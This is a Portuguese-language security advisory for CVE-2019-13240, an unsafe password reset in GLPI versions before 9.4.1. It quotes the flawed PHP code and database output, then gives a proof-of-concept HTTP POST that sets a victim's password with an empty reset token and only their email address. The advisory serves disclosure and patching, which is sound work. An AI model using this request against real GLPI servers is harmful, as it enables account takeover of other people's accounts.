ASA-2019-00475 – GLPI: Redefinição de senha insegura


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00475

Identificador(es)

ASA-2019-00475, CVE-2019-13240

Título

Redefinição de senha insegura

Fabricante(s)

GLPI Project

Produto(s)

GLPI

Versão(ões) afetada(s)

GLPI 9.x anterior a versão 9.4.1

Versão(ões) corrigida(s)

GLPI versão 9.4.1

Prova de conceito

Sim

Descrição

Foi descoberto que o recurso de redefinição de senha não é seguro. De fato, após uma redefinição bem-sucedida da senha por um usuário, é possível alterar novamente sua senha durante 24 horas sem qualquer conhecimento, exceto seu endereço de e-mail.

Detalhes técnicos

Quando um usuário solicita uma redefinição de senha, um token é gerado e armazenado no banco de dados com a data:

public function forgetPassword($email) { 
[…] 
$input = [ 
    'password_forget_token' => sha1(Toolbox::getRandomString(30)), 
    'password_forget_token_date' => $_SESSION["glpi_currenttime"], 
    'id' => $this->fields['id'], 
]; 
$this->update($input);

O token é válido por 24 horas antes de ser invalidado. A verificação é executada na função updateForgottenPassword:

public function updateForgottenPassword(array $input) {
[...]
if (($input['password_forget_token'] == $this->fields['password_forget_token'])
 && (abs(strtotime($_SESSION["glpi_currenttime"])
 -strtotime($this->fields['password_forget_token_date'])) < DAY_TIMESTAMP)) {
 $input['id'] = $this->fields['id'];
 Config::validatePassword($input["password"], false); // Throws exception if password is invalid
 if (!$this->update($input)) {
     return false;
 }
 $input2 = [
     'password_forget_token' => ' ',
     'password_forget_token_date' => null,
     'id' => $this->fields['id']
 ];
 $this->update($input2);
 return true;
[...]

Como pode ser visto, após a atualização da senha, o token e a data são redefinidos. Mas, na verdade, apenas o token é redefinido, mas a data ainda está no banco de dados:

MariaDB [glpi]> select id,password_forget_token,password_forget_token_date from glpi_users;
+----+----------------------------------------------------------------------+-------------------------------------------+
| id |password_forget_token                                            | password_forget_token_date |
+----+----------------------------------------------------------------------+-------------------------------------------+
[...]
| 5 |72eeb8be4913d588b97cb14e12144f298882c0a3| 2019-02-22 16:04:18                 |
+----+---------------------------------------------------------------------+--------------------------------------------+
[…]
MariaDB [glpi]> select id,password_forget_token,password_forget_token_date from glpi_users;
+----+------------------------------------+-------------------------------------------+
| id | password_forget_token | password_forget_token_date |
+----+------------------------------------+-------------------------------------------+
[...]
| 5 |                                              | 2019-02-22 16:04:18               |
+----+------------------------------------+-------------------------------------------+

Isso significa que a condição para atualizar a senha pode ser verdadeira se o token estiver vazio e a senha puder ser atualizada, como:

POST /front/lostpassword.php HTTP/1.1 
[…] 
email=test %40test.com&password=aaa&password2=aaa&password_forget_token=&update=Save&_glpi_csrf_token= 64335fa587833cf85ae80e1cc92e03c3 

HTTP/1.1 200 OK 
[…]
<div class='center'>Reset password successful.<br>
[…]

Créditos

Julien Legras (Synacktiv)

Referência(s)

Unsafe password reset in GLPI <9.4.1
https://www.synacktiv.com/ressources/advisories/GLPI_9.4.0_unsafe_reset.pdf

Fix password forget token check; fixes #5386
https://github.com/glpi-project/glpi/commit/5da9f99b2d81713b1e36016b47ce656a33648bc7

Password token date was not removed
https://github.com/glpi-project/glpi/commit/86a43ae47b3dd844947f40a2ffcf1a36e53dbba6

[9.4] Lost password #5386
https://github.com/glpi-project/glpi/issues/5386

CVE-2019-13240
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13240

CVE-2019-13240
https://nvd.nist.gov/vuln/detail/CVE-2019-13240

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 5 agosto 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.